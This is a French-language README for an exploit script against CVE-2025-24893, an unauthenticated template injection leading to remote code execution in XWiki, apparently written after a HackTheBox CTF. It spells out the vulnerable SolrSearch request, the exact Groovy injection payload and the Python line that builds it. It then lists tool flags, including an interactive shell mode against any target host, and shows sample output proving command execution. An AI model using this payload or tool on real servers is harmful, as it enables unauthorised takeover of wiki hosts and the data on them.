
CVE-2025-24893 – Exploit RCE non authentifié par SSTI sur XWiki (HackTheBox CTF)
| Champ | Détails |
|---|
| CVE | CVE-2025-24893 |
| Logiciel | XWiki |
| Vulnérabilité | Injection de modèle côté serveur (SSTI) → RCE |
| Authentification | Non requise |
| Score CVSS | Critique |
| Contexte | Découvert lors d'un CTF HackTheBox |
XWiki expose un point de terminaison SolrSearch (/xwiki/bin/get/Main/SolrSearch) qui traite les entrées fournies par l'utilisateur via le moteur de template Groovy sans assainissement. Un attaquant non authentifié peut injecter une expression Groovy via le paramètre de requête text, réalisant ainsi une exécution de code à distance sur le serveur sous-jacent.
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=<PAYLOAD>
Le paramètre text est directement intégré dans un contexte de macro XWiki et évalué par le moteur Groovy. L'injection échappe le contexte du template en utilisant }}} et ouvre un bloc {{async}}{{groovy}} :
}}}{{async async=false}}{{groovy}}println("<CMD>".execute().text){{/groovy}}{{/async}}
Le résultat est reflété dans le corps de la réponse RSS et peut être extrait via une expression régulière.
payload = '}}}{{async async=false}}{{groovy}}println("' + command + '".execute().text){{/groovy}}{{/async}}'
La réponse est en XML/RSS — la sortie de la commande apparaît entre les marqueurs [}}} et ]</ avec des caractères encodés en HTML.
python3 exploit.py -t <TARGET> [-p PORT] [-s] [-i | -c COMMAND]
| Drapeau | Description |
|---|---|
-t | Nom d'hôte ou IP cible |
-p | Port (défaut : 80) |
-s | Utiliser HTTPS |
-i | Mode shell interactif |
-c | Exécution d'une seule commande |
-v | Sortie verbose |
# Single command
python3 exploit.py -t wiki.target.htb -c "id"
# Interactive shell
python3 exploit.py -t wiki.target.htb -i
# HTTPS on custom port
python3 exploit.py -t wiki.target.htb -p 443 -s -i
pip install requests termcolor
$ python3 exploit.py -t wiki.editor.htb -c "id"
[*] Executing command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)